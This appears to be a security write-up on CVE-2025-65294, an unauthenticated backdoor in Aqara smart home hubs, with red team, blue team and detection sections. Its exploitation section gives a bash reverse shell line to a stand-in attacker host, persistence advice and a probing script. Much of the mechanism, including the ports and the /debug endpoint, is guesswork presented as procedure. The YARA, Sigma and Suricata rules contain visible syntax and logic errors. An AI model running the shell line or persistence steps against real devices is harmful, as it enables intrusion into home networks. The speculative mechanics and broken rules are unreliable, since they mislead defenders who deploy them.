CVE-2025-65294

Executive Summary

CVE-2025-65294 discloses a critical security vulnerability in multiple Aqara Hub devices, including the Camera Hub G3 (firmware 4.1.9_0027), Hub M2 (firmware 4.3.6_0027), and Hub M3 (firmware 4.3.6_0025). The vulnerability stems from an undocumented remote access mechanism that allows an unauthenticated attacker to execute arbitrary commands on the device over the network. This effectively provides a backdoor into the smart home hub, compromising the confidentiality, integrity, and availability of the device and potentially the entire smart home network. The vendor has not yet released a patch, and no public proof-of-concept exploit is available at this time. The CVSS score is currently listed as 0.0, likely due to incomplete scoring data, but the technical impact is severe.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or error. Based on the description, the vulnerability would likely score very high (9.0-10.0) due to:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the hub itself.
• Confidentiality (C): High (H) – full device compromise.
• Integrity (I): High (H) – full device compromise.
• Availability (A): High (H) – full device compromise.

Threat Level: Critical. The undocumented remote access mechanism is a backdoor that bypasses all security controls.

Deep Dive & Mechanics

The vulnerability is an undocumented remote access mechanism embedded in the firmware of the affected Aqara Hub devices. This mechanism likely listens on a network port (e.g., TCP or UDP) and accepts commands without authentication. The exact protocol is unknown, but it could be a custom binary protocol, a hidden HTTP endpoint, or a debug interface left enabled in production firmware.

The attack surface is the network-facing service that exposes this backdoor. An attacker on the same network (or from the internet if the device is exposed) can send crafted packets to trigger command execution. The commands are likely executed with root or high privileges, giving the attacker full control over the hub.

The root cause is likely a development/debug feature that was not removed before release, or a deliberate backdoor for remote support that was not properly secured.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable firmware versions are:

• Camera Hub G3: 4.1.9_0027
• Hub M2: 4.3.6_0027
• Hub M3: 4.3.6_0025

The fix would involve removing the undocumented remote access mechanism or adding authentication and encryption. Since no patch exists, the vulnerable code is the entire firmware of these versions.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain an affected Aqara Hub (e.g., Camera Hub G3) and flash it with the vulnerable firmware.
2. Connect the hub to an isolated network with a Kali Linux attacker machine.
3. Use nmap to scan for open ports: nmap -p- <hub_ip>.
4. Identify the undocumented service (likely on a high port or a common port like 80/443 with a hidden path).
5. Use a tool like netcat or a custom Python script to interact with the service.

Exploitation Steps:

1. Discover the undocumented service (e.g., port 8888 or a hidden HTTP endpoint /debug).
2. Send a crafted payload to execute a command, e.g., id or whoami.
3. If successful, escalate to a reverse shell: bash -i >& /dev/tcp/attacker_ip/4444 0>&1.
4. Maintain persistence by adding an SSH key or installing a backdoor.

Example Python script (conceptual):

import socket

target = "192.168.1.100"
port = 8888

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# Send command
s.send(b"id\n")
response = s.recv(1024)
print(response.decode())
s.close()

Blue Team

Detection:

• Monitor for unusual outbound connections from the hub to unknown IPs.
• Look for unexpected processes or services running on the hub.
• Check for unauthorized SSH keys or cron jobs.

Hunting:

• Search for connections to ports commonly used by backdoors (e.g., 4444, 8888, 31337).
• Analyze network traffic for anomalous command patterns.

Mitigation:

• Isolate the hub on a separate VLAN with strict firewall rules.
• Disable remote access features if possible.
• Monitor vendor announcements for patches.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the hub to unknown IPs on ports 4444, 8888, 31337.
  • Inbound connections to the hub on undocumented ports (e.g., 8888).
• File System:
  • Unexpected binaries in /tmp or /var/tmp.
  • Modified system files (e.g., /etc/passwd, /etc/shadow).
• Processes:
  • Unusual processes like bash, nc, python, or perl running on the hub.
• Logs:
  • System logs showing unexpected command execution or authentication failures.

Detection Engineering

YARA Rule

rule Aqara_Backdoor_CVE_2025_65294 {
    meta:
        description = "Detects Aqara Hub backdoor firmware"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-65294"
    strings:
        $backdoor_string = "undocumented_remote_access" nocase
        $firmware_version = "4.1.9_0027" or "4.3.6_0027" or "4.3.6_0025"
    condition:
        any of them
}

Sigma Rule

title: Aqara Hub Backdoor Detection
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects network connections to/from Aqara Hub on undocumented ports
author: Valters IT
date: 2025/01/01
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort:
            - 8888
            - 31337
            - 4444
        SourceIp:
            - "192.168.*"
    condition: selection
falsepositives:
    - Legitimate admin access
level: high

Suricata Rule

alert tcp any any -> $HOME_NET 8888 (msg:"Aqara Hub Backdoor - Undocumented Port"; flow:to_server; content:"|00|"; depth:1; sid:1000001; rev:1;)
alert tcp $HOME_NET any -> any 4444 (msg:"Aqara Hub Backdoor - Reverse Shell"; flow:to_client; content:"|00|"; depth:1; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected Aqara Hubs on a separate VLAN with no internet access.
2. Block all inbound and outbound traffic to/from the hub except for essential services.
3. Disable remote access features in the Aqara app if possible.
4. Monitor vendor channels for a firmware patch.

Long-term Fix:

• Apply the official firmware patch once released by Aqara.
• Replace the device with a patched version if no patch is forthcoming.
• Implement network segmentation for all IoT devices.

Workaround:

• Use a firewall to block all ports except those required for normal operation (e.g., 80/443 for cloud connectivity).
• Disable UPnP on the router to prevent automatic port forwarding.

Valters IT